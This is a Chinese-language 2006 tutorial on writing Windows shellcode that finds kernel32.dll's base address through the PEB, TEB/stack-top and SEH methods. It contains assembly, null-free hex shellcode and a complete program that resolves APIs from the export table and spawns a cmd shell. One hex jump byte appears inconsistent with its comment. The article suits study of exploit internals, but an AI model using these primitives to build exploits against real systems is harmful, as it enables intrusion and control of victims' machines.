WIN下 获 取kernel基址的shellcode 探讨
gz1X  [ gz1x (at) tom ( dot ) com ]
2006.6.30

[ 什么是shellcode ]
———————————
Shellcode是一个攻击程 序 (Exploit)的 核心代 码,能够在溢出后改 变 系统的正常 流 程,取得系统的 控 制 权 ,是一 些汇 编 代 码抽取成的 16进 制码;

[ 经典 溢出攻击 流 程 ]
———————————
1.  查找Kernel32.dll基地址;
2.  查找GetProcAddress () 函 数地址;
3.  查找 其 它API 函 数地址;
4.  CreateProcess () ;
5.  远程 连 接。

我们都知 道WINDOWS 的系统功能不像UNIX的系统调 用 那 样 实现, 由 于WINDOWS版本的不断更 新 ,使得系统调 用 对SHELLCODE几 乎起 不到作 用 。
但是WINDOWS是 靠DLL 动态链接库 来 实现,这 就 是说,如果能从KERNEL32.DLL中 获 取LoadLibrary () 和GetProcAddress () 函 数的地址,我们 就可 以调 用WINDOWS 下的所有 函 数了。
所以我们需要对KERNEL32.DLL 进 行地址定位,这也是本文的目的。

[ 获 取KERNEL地址的方法 ]
———————————
1. 通过PEB 获 取;
2. 通过TOPSTACK - TEB 获 取;
3. 通过SEH 获 取;

[ 第三方工具 获 取基址 ]
———————————
为了方便 审核和 对比结果,我们 用MASM提 供的dumpbin分析本地kernel32.dll的加 载 地址。如下:

C: \WINDOWS\system32 > dumpbin  / headers kernel32.dll

          // ...此 处 省略

看OPTIONAL HEADER VALUES 里 的 7C800000  image base, 其 中 7C800000即 为本地kernel32.dll的加 载 地址。
注意是本地的加 载 地址,在远程目标 机 器 上 ,我们需要额外的技巧 来 实现kernel32.dll地址的查找, 即PEB , SEH等方法。
当然,为了简单,你也 可 以 直 接 用Windbg 加 载 一个类似noteapad的 可 执行程 序 ,ModLoad 里 很清晰地给出了kernel32.dll的地址。


[ PEB ]
———————————
获 取KERNEL地址最有效的方法 就 是通过PEB实现, 即 :PEB kernel base location。
下 面 是一个比较常见的 利用PEB获 取kernel32.dll地址的shellcode , 31 字 节 。

———————————————— 
/* 程 序1                                                 */
004045F4  >  6A 30              PUSH  30
004045F6       59                  POP  ECX
004045F7       64 : 8B09            MOV  ECX ,DWORD PTR  FS :[ ECX ]
004045FA       85C9              TEST  ECX , ECX
004045FC       78 0C              JS SHORT  OllyTest.0040460A
004045FE       8B49 0C            MOV  ECX ,DWORD PTR  DS :[ ECX +C]
00404601       8B71 1C            MOV  ESI ,DWORD PTR  DS :[ ECX + 1C ]
00404604        AD                  LODS DWORD PTR  DS :[ ESI ]
00404605       8B48 08            MOV  ECX ,DWORD PTR  DS :[ EAX + 8 ]
00404608        EB  09              JMP SHORT  OllyTest.00404613
0040460A       8B49 34            MOV  ECX ,DWORD PTR  DS :[ ECX + 34 ]
0040460D       8B49 7C            MOV  ECX ,DWORD PTR  DS :[ ECX + 7C ]
00404610       8B49 3C            MOV  ECX ,DWORD PTR  DS :[ ECX + 3C ]
———————————————— 

现在 来 分析下,PEB方法查找 流 程如下:
( 1 )  FS 寄 存 器  ->  TEB结构;
( 2 )  TEB + 0x30  ->  PEB结构;
( 3 )  PEB + 0x0c  ->  PEB_LDR_DATA;
( 4 )  PEB_LDR_DATA + 0x1c  ->  Ntdll.dll;
( 5 )  Ntdll.dll + 0x08  ->  Kernel32.dll。
在 2000 以后的系统中,实际 上 实现的方法只要很短的几行:
  mov  eax , fs :[ 30h ] 
 mov  eax ,[ eax + 0ch ] 
 mov  esi ,[ eax + 1ch ] 
 lodsd 
 mov  ebx ,[ eax + 08h ] 
而在程 序1 中涉 及 了 9X 系统,所以还有相 关 的 判 断 跳 转。

首 先,我们 来 看看TEB 和PEB 的结构, 利用WINDBG ,调试如下:

0 : 000 > dt  ntdll!_TEB
        + 0x000  NtTib                 :  _NT_TIB
        + 0x01c  EnvironmentPointer  :  Ptr32 Void
        + 0x020  ClientId              :  _CLIENT_ID
        + 0x028  ActiveRpcHandle       :  Ptr32 Void
        + 0x02c  ThreadLocalStoragePointer  :  Ptr32 Void
        + 0x030  ProcessEnvironmentBlock  :  Ptr32 _PEB
        + 0x034  LastErrorValue        :  Uint4B
        + 0x038  CountOfOwnedCriticalSections  :  Uint4B
        + 0x03c  CsrClientThread       :  Ptr32 Void
        + 0x040  Win32ThreadInfo       :  Ptr32 Void
       ... // 此 处 省略
        + 0xfac  CurrentTransactionHandle  :  Ptr32 Void
        + 0xfb0  ActiveFrame           :  Ptr32 _TEB_ACTIVE_FRAME
        + 0xfb4  SafeThunkCall         :  UChar
        + 0xfb5  BooleanSpare          : [ 3 ]  UChar


0 : 000 > dt - v  - r ntdll!_PEB
struct  _PEB ,  65  elements ,  0x210  bytes
        + 0x000  InheritedAddressSpace  :  UChar
        + 0x001  ReadImageFileExecOptions  :  UChar
        + 0x002  BeingDebugged         :  UChar
        + 0x003  SpareBool             :  UChar
        + 0x004  Mutant                :  Ptr32 to Void
        + 0x008  ImageBaseAddress  :  Ptr32 to Void
        + 0x00c  Ldr                   :  Ptr32 to  struct  _PEB_LDR_DATA ,  7  elements ,  0x28  bytes
           + 0x000  Length               :  Uint4B
           + 0x004  Initialized           :  UChar
           + 0x008  SsHandle              :  Ptr32 to Void
           + 0x00c  InLoadOrderModuleList  : struct  _LIST_ENTRY ,  2  elements ,  0x8  bytes
              + 0x000  Flink                 :  Ptr32 to  struct  _LIST_ENTRY ,  2  elements ,  0x8  bytes
              + 0x004  Blink                 :  Ptr32 to  struct  _LIST_ENTRY ,  2  elements ,  0x8  bytes
           + 0x014  InMemoryOrderModuleList  : struct  _LIST_ENTRY ,  2  elements ,  0x8  bytes
              + 0x000  Flink                 :  Ptr32 to  struct  _LIST_ENTRY ,  2  elements ,  0x8  bytes
              + 0x004  Blink                 :  Ptr32 to  struct  _LIST_ENTRY ,  2  elements ,  0x8  bytes
           + 0x01c  InInitializationOrderModuleList  : struct  _LIST_ENTRY ,  2  elements ,  0x8  bytes
              + 0x000  Flink                 :  Ptr32 to  struct  _LIST_ENTRY ,  2  elements ,  0x8  bytes
              + 0x004  Blink                 :  Ptr32 to  struct  _LIST_ENTRY ,  2  elements ,  0x8  bytes
           + 0x024  EntryInProgress       :  Ptr32 to Void
        + 0x010  ProcessParameters  :  Ptr32 to  struct  _RTL_USER_PROCESS_PARAMETERS ,  28  elements ,  0x290  bytes
           + 0x000  MaximumLength         :  Uint4B
           + 0x004  Length               :  Uint4B
           + 0x008  Flags                 :  Uint4B
           + 0x00c  DebugFlags            :  Uint4B
           + 0x010  ConsoleHandle         :  Ptr32 to Void
           + 0x014  ConsoleFlags          :  Uint4B
           + 0x018  StandardInput         :  Ptr32 to Void
           + 0x01c  StandardOutput        :  Ptr32 to Void
           + 0x020  StandardError         :  Ptr32 to Void
        ...  // 此 处 省略
        + 0x1f8  ActivationContextData  :  Ptr32 to Void
        + 0x1fc  ProcessAssemblyStorageMap  :  Ptr32 to Void
        + 0x200  SystemDefaultActivationContextData  :  Ptr32 to Void
        + 0x204  SystemAssemblyStorageMap  :  Ptr32 to Void
        + 0x208  MinimumStackCommit  :  Uint4B


再 结合 [ 程 序1 ] ,有:

PUSH  30
POP  ECX
这句很简单,给 ECX 赋值 30 。


MOV  ECX ,DWORD PTR  FS :[ ECX ]
FS : 0 指向TEB,偏移 30H 的结果是指向PEB。


TEST  ECX , ECX
JS SHORT  OllyTest.0040460A
测试 ECX , 进 行 9X和NT 的 判 断,符号位置位 ( 即test 结果为负 ) 则 认定为 9X 系统, 进 行短 跳 转。否 则 为 2000 / XP / 2003 系列,接着往下走。


MOV  ECX ,DWORD PTR  DS :[ ECX +C]
MOV  ESI ,DWORD PTR  DS :[ ECX + 1C ]
LODS DWORD PTR  DS :[ ESI ]
MOV  ECX ,DWORD PTR  DS :[ EAX + 8 ]
JMP SHORT  OllyTest.00404613
DS :[ ECX +C] 指向了PEB_LDR_DATA结构(此结构作 用 : 枚 举 当前 进 程 空 间中的模 块 ), [ ECX + 1C ] 指向InitializationOrderModuleList结构,
这个结构 里 偏移 8H就 是kernel32.dll的相 关 。 因为是在NT下实现,所以找到后 直 接 JMP 掉 9X 的 处理 过程。


MOV  ECX ,DWORD PTR  DS :[ ECX + 34 ]
MOV  ECX ,DWORD PTR  DS :[ ECX + 7C ]
MOV  ECX ,DWORD PTR  DS :[ ECX + 3C ]
WIN9X下的实现。

由 于shellcode中不能出现 空 字符,所以需要采 用 一 些 手段 来进 行赋值等操作,程 序1和 下 面 的程 序2 都采 用 了一 些 手法 来 到达目的。


[ PEB ] 扩展
————————
注释部分 演 示了 另 一种方法,实际 上就 是 头 几句 用 了个技巧,减少了字 节 数。

————————————————  
/* 程 序2                  // 程 序 注释采 用C语言 风格 */
xor  eax ,  eax             // 另 外一种方法
xor  edx ,  edx             // 来 自milw0rm
mov  dl ,  30h              // 字 节 数减少了
mov  eax ,  fs :[ edx ]       // 后 面 相同
test  eax ,  eax            //add        eax ,  fs :[ eax + 30h ]
js  for9x                 //js  for9x
      
mov  eax , [ eax + 0Ch ] 
mov  esi , [ eax + 1Ch ] 
lodsd         
mov  eax , [ eax + 08h ] 
jmp short  skip 

for9x :   
mov  eax , [ eax + 34h ] 
 lea  eax , [ eax + 7Ch ] 
 mov  eax , [ eax + 3Ch ] 

skip :
————————————————  

这是比较保守的 写 法了,但是也考虑了 0X00 的问 题 。
这个抽成的shellcode字 节 数应该比程 序1 那个 长 , 35 字 节 ;
光看开 头 的几句:
xor  eax ,  eax
xor  edx ,  edx
mov  dl ,  30h
就可 以知 道 字 节 数不少,抽出 来16进 制是:
\x31\xC0
\x31\xD2 
\xB2\x30 
6 个字 节 , 和 程 序1 的那个:
6A 30              PUSH  30
59                POP  ECX
相差了 3 个字 节...
完整的 16进 制码如下:
"\x31\xC0"                       /* xor  eax ,  eax            */
"\x31\xD2"                       /* xor  edx ,  edx            */
"\xB2\x30"                       /* mov  dl ,  30h             */
"\x64\x8B\x02"                   /* mov  eax , [ fs : edx ]      */     
"\x85\xC0"                       /* test  eax ,  eax           */
"\x78\xC0"                       /* js  0Ch                  */
"\x8B\x40\x0C"                   /* mov  eax , [ eax + 0Ch ] */      
"\x8B\x70\x1C"                   /* mov  esi , [ eax + 1Ch ] */
"\xAD"                           /* lodsd                  */
"\x8B\x40\x08"                   /* mov  eax , [ eax + 08h ] */
"\xEB\x07"                       /* jmp short  09h           */
"\x8B\x40\x34"                   /* mov  eax , [ eax + 34h ] */     
"\x8D\x40\x7C"                   /* lea  eax , [ eax + 7Ch ] */
"\x8D\x40\x3C"                   /* mov  eax , [ eax + 3Ch ] */


[ TOPSTACK - TEB ]
————————
本地线程的堆 栈里 偏移 1CH ( 或 者18H ) 的指针指向kernel32.dll内部,而 fs :[ 0x18 ] 指向当前线程而且往 里 四个字 节 指向线程 栈 ,
结合堆 栈 的top pointer 进 行对 齐 遍 历 ,找到PE文件 头 (DLL的文件格 式 )的 “MZ ”MSDOS标 志 , 就 拿到了kernel32.dll基址。

先从Windbg 里 查看一下:

0 : 000 > dt - v  - r _NT_TIB $teb
struct  _NT_TIB ,  8  elements ,  0x1c  bytes
        + 0x000  ExceptionList         :  0x0013fd0c  struct  _EXCEPTION_REGISTRATION_RECORD ,  2  elements ,  0x8  bytes
           + 0x000  Next                  :  0xffffffff  struct  _EXCEPTION_REGISTRATION_RECORD ,  2  elements ,  0x8  bytes
              + 0x000  Next                  :  ???? 
              + 0x004  Handler               :  ???? 
           + 0x004  Handler               :  0x7c92ee18             _EXCEPTION_DISPOSITION      ntdll!_except_handler3 + 0
        + 0x004  StackBase             :  0x00140000 
        + 0x008  StackLimit            :  0x0013e000 
        + 0x00c  SubSystemTib          : ( null ) 
       + 0x010  FiberData             :  0x00001e00 
        + 0x010  Version               :  0x1e00
        + 0x014  ArbitraryUserPointer  : ( null ) 
       + 0x018  Self                  :  0x7ffdf000  struct  _NT_TIB ,  8  elements ,  0x1c  bytes
           + 0x000  ExceptionList         :  0x0013fd0c  struct  _EXCEPTION_REGISTRATION_RECORD ,  2  elements ,  0x8  bytes
              + 0x000  Next                  :  0xffffffff  struct  _EXCEPTION_REGISTRATION_RECORD ,  2  elements ,  0x8  bytes
              + 0x004  Handler               :  0x7c92ee18                _EXCEPTION_DISPOSITION      ntdll!_except_handler3 + 0
           + 0x004  StackBase             :  0x00140000 
           + 0x008  StackLimit            :  0x0013e000 
           + 0x00c  SubSystemTib          : ( null ) 
          + 0x010  FiberData             :  0x00001e00 
           + 0x010  Version               :  0x1e00
           + 0x014  ArbitraryUserPointer  : ( null ) 
          + 0x018  Self                  :  0x7ffdf000  struct  _NT_TIB

其 中 + 0x018  Self是一个指向TEB自己的指针,StackBase指向本线程堆 栈 的原点 , 即 地址最高 处 , 这 里 是 0x140000 ,
而StackLimit 则 指向堆 栈 所在区间的下部边界 , 即 地址最低 处.

————————————————  
/* 程 序3                            */
xor  esi ,  esi
mov  esi ,  fs :[ esi  +  0x18 ]         // TEB 
mov  eax , [ esi + 4 ]                 // 这个是需要的 栈 顶StackBase,top of the stack
mov  eax , [ eax  -  0x1c ]            // 指向Kernel32.dll内部 
          //mov  eax , [ eax  -  0x18 ]
find_kernel32_base :
dec  eax                           // 开始遍 历 页
xor  ax ,  ax        
cmp word ptr [ eax ],  0x5a4d        // "MZ"
jne  find_kernel32_base            // 循 环遍 历 ,找到 则 返回 eax
————————————————  

为了方便测试,我 写 了一个PEB / TEB / SEH通 用 测试 例 程:

/*  
 *       程 序4
  *       SEH method  test for  Windows  9x / NT / 2k / XP 
  *       asm return  eax  contained kernel32.dll base address.
  *       print kernel base address  in  the console.
  */ 
__inline __declspec ( naked )  unsigned  int  GetKernel32 ()
{
      __asm
{
          push  esi
  push  ecx

/*       you should replace the follow  section if  you want to  test  the others  */
 xor  esi ,  esi
  mov  esi ,  fs :[ esi  +  0x18 ]      
 mov  eax , [ esi + 4 ]             
 mov  eax , [ eax  -  0x1c ]        
   
  find_kernel32_base :
 dec  eax                     
  xor  ax ,  ax        
  cmp word ptr [ eax ],  0x5a4d  
  jne  find_kernel32_base      
/*  Above is the  section  needed to replace  */

 pop  ecx
  pop  esi
  ret
}
}

void main ( void )
{
 printf ( "Kernel base is located at: 0x%0.8X\n" , GetKernel32 ()) ;
}

注意这几句:
1.  mov  eax , [ eax  -  0x1c ]
一般地,它将指向kernel32.dll内部,你 可 以在编译器 里 单步跟踪调试。 其 中, eax 值为StackBase ( 0x140000 ) ,计算 eax - 0x1c可 得 0x0013FFE4 ;
在我的 机 器 上0x0013FFE4 为 0x7C839AA8 , 0x0013FFE8 为 7C816FE0 。
此 时栈 的分布大致如下:
       |  ...           |
         0013FFE0         |  FFFFFFFF  |  SEH链尾部         // 哦? 有疑问吗?SEH吗 ?
         0013FFE4  |  7C839AA8  |  SEH 处理 程 序
        0013FFE8         |  7C816FE0  |  kernel32.7C816FE0
       |  00000000  |
      |  ...           |

2.  dec  eax                      
        xor  ax ,  ax 
这两句的作 用就 是实现页遍 历 ,单步跟踪结果如下:
0x7C839AA8  ->  0x7C839AA7  ->  0x7C830000  ->  0x7C82FFFF  ->  0x7C820000  ->  ...  ->  0x7C800000 

但是,在不同环境下的堆 栈 不同,如果偏移 1C ( 或 18 ) 不指向kernel32.dll内部,将导致 获 取地址失 败 ,当然这种情况很少发 生 ,
至少我现在还没遇到过; 另 一个几率很 小 的失 败 现象是 64K 的页边界有 "MZ" 这 样 的特征字符出现,这 样可 能会 误 导得到错 误 的地址。



[ SEH ]
———————————
WINOWS 另 一个重要的也是未公开的技术(虽然现在不是什么 新 技术了) 就 是SEH(Structured Exception Handling)。
默 认的异常 处理 (注意是 默 认的,如果你自己重 写 了异常 处理 ,卸掉了 默 认的 处理 ,那么此方法 就 行不通了。但一般没人这么做...),
它指向kernel32.dll内部,我们要做的 就 是顺藤摸瓜。
思路是这 样 的: 进 程 里FS : [ 0 ] 指向的是SEH链的最内层,为了找到顶层异常 处理 ,我们向外遍 历 找到prev成 员 等于 0xffffffff 的EXCEPTION_REGISTER结构,
该结构的handler值 就 是系统 默 认的 处理例 程;这 里 有个细 节 ,DLL的装 载 是 64K 边界对 齐 的,所以需要 利用 遍 历 到的指向最后的异常 处理 的指针 进 行页查找,
再 结合PE文件MSDOS标 志 部分,只要在每个 64K 边界查找 “MZ ”字符 就 能找到kernel32.dll基址。

————————————————  
/* 程 序5                       */
xor  ecx ,  ecx
mov  esi ,  fs :[ ecx ]

find_seh :
mov  eax ,[ esi ]                
mov  esi ,  eax
cmp [ eax ],  ecx
jns  find_seh                  // 0xffffffff
mov  eax , [ eax  +  0x04 ]        // handler

find_kernel32_base :
dec  eax
xor  ax ,  ax
cmp word ptr [ eax ],  0x5a4d
jne  find_kernel32_base
———————————————— 

我们将 [ 程 序5 ] 套 用 [ 程 序4 ] 进 行跟踪调试,handler指向的地址为 0x7C839AA8 ,页遍 历 的结果 和 [ 程 序4 ] 相同。
0x7C839AA8 这个地址 处 应该是最后的异常 处理函 数,我们 可 以从内 存里 看到:

7C839AA8      55 8B  EC  83  EC  08 53 56       U嬱冹.SV
7C839AB0      57 55  FC  8B 5D 0C 8B 45       WU鼖 ] .婨
7C839AB8      08  F7  40 04 06 00 00 00      .鰼.....
7C839AC0      0F 85  AB  00 00 00 89 45       .叓...塃
7C839AC8       F8  8B 45 10 89 45  FC  8D       鴭E.塃鼚
7C839AD0      45  F8  89 43  FC  8B 73 0C       E鴫 C 鼖s.
7C839AD8      8B 7B 08 53  E8  7A 5E 04       媨.S鑪 ^ .
7C839AE0      00 83  C4  04 0B  C0  74 7B       .兡.. 纓 {
...  // 此 处 省略
7C839B78       E8  62 43  FD FF  83  C4  08       鑒C..兡.
7C839B80      5D  B8  01 00 00 00 5D 5F       ] ..... ] _
7C839B88      5E 5B 8B  E5  5D  C3

很 经典 的 函 数类型 汇 编 代 码:
  55         push       ebp
        8b  ec        mov       ebp ,  esp
        83  ec  08       sub       esp ,  08
       53        push       ebx
        56        push       esi
        57        push       edi
  ...
  5f        pop       edi
        5e        pop       esi
       5b        pop       ebx
        8b  e5        mov       esp ,  ebp
        5d        pop       ebp
        c3        ret  

这 样 也 解 开了TOPSTACK 里 的疑惑,回 头 去看 栈里 的内容, 就 知 道 为什么我会注释 上SEH 的字 样 了, 其 实 栈里 保 存 的也是 默 认的异常 处理函 数地址。
从根 源上来 说,TOPSTACK 和SEH 应该是属于一类方法,不过既然实现 上 有不同,我们也暂且划分成两类吧。



[ shell测试程 序 ]
———————————
获 取KERNEL地址的方法介 绍 的差不多了,下 面演 示下结合PE结构 获 取API的方法得到cmd shell的 例 程。


/*   
 *       程 序6
  *       Get the cmd shell.
  *       Coded by gz1x.
  */ 
unsigned  int  GetFunc ( unsigned  int  ImageBase , const char * FuncName ,int  flen )

 __asm
 {  
       mov  eax , ImageBase
       mov  eax ,[ eax + 0x3c ]  
      add  eax , ImageBase       // PE header
       mov  eax ,[ eax + 0x78 ]           // Data_Directory
       add  eax , ImageBase   
       mov  esi , eax        // IMAGE_EXPORT_DIRECTORY
       mov  ecx ,[ eax + 0x18 ]      // NumberOfName 
       mov  eax ,[ eax + 0x20 ]      // AddressOfName
       add  eax , ImageBase
       mov  ebx , eax 
       xor  edx , edx
  FindLoop :
      push  ecx
       push  esi
       mov  eax ,[ eax ]
      add  eax , ImageBase
       mov  esi , FuncName
       mov  edi , eax
       mov  ecx , flen
       cld
      rep cmpsb       // compare function
       pop  esi         //pop  esi  =>  IMAGE_EXPORT_DIRECTORY
       je       Found 
       inc  edx 
       add  ebx , 4
       mov  eax , ebx
       pop  ecx
       loop  FindLoop  
 Found :
      add  esp , 4
       mov  eax , esi
       mov  eax ,[ eax + 0x1c ]      // AddressOfFunction
       add  eax , ImageBase  
       shl  edx , 2
       add  eax , edx
       mov  eax ,[ eax ]   
      add  eax , ImageBase       // eax  return
 }
}

__inline __declspec ( naked )  unsigned  int  GetKernel32 ()
{
 __asm
 {
           push  esi
       push  ecx
       /*       you should replace the follow  section if  you want to  test  the others  */
      xor  eax ,  eax        
       xor  esi ,  esi
       mov  esi ,  fs :[ esi  +  0x18 ]     
      mov  eax , [ esi + 4 ]                       
      mov  eax , [ eax  -  0x1c ]        
  find_kernel32_base :
      dec  eax                      
       xor  ax ,  ax
       cmp word ptr [ eax ],  0x5a4d   
       jne  find_kernel32_base       
       /*  Above is the  section  needed to replace  */
      pop  ecx
       pop  esi
       ret
  }
}

void main ( void )
{
 char risefunc []= "cmd" , dll []= "msvcrt" , func []= "system";
  unsigned  int  loadfun ;
  loadfun = GetFunc ( GetKernel32 (), "LoadLibraryA" , 12 ) ;

  __asm
 {
       lea  eax , dll
       push  eax
       call dword ptr  loadfun        // LoadLibraryA ( "msvcrt" ) ;
       lea  ebx , func
       push  0x06
       push  ebx
       push  eax
       call  GetFunc                 // GetFunc ([ msvcrt ], "system" , 6 ) ;
       mov  ebx , eax
       add  esp , 0x04
       lea  eax , risefunc
       push  eax 
       call  ebx       // system ( "cmd" ) ;
  }
}

其 中,GetFunc 函 数通过PE文件 头 结构得到输出表的API地址,GetKernel32 函 数是在介 绍SEH时 给出的 获 取KERNEL地址的方法。
main 函 数 里 为了测试方便,加 载 了msvcrt.dll, 获 取 其 中的system 函 数,从而得到cmd 窗口 。

本文介 绍 了一 些WINDOWS 平台下kernel基址的 获 取方法,对于WINDOWS, LOCAL 溢出 并 没什么大意义,所以要结合
WINSOCK相 关 的 函 数 进 行远程溢出, 流 程 上 是在 获 取kernel基址 填充shellcode 之后 进 行远程通 信 , 并 将shellcode发送到远程
主 机 。这 里WINSOCK函 数的 获 取 和 编码,以 及CreateProcess 编码的细 节 不 再阐 述,也超出本文的 讨 论,有 兴趣 的
不妨参考一 些 成型的exploit。

*[ 参考资 源 ] :
1.Inside  Microsoft Windows  2000  Third Edition  -  David A. Solomon ,  Mark E. Russinovich
2. 通往WinDbg的捷径  :  http :// www.debuginfo.com / articles / easywindbg.html
3.PE 文件格 式 1.9 版  :  http :// bbs.pediy.com / showthread.php?threadid = 21932
4.35  byte  PEB method       :  http :// www.milw0rm.com / exploits / 747
5.metasploit            :       http :// www.metasploit.com / shellcode.html
6.connectback_v32.c  :  http :// security.prowork.com.cn / docs / win_Connect_Back_shellcode.html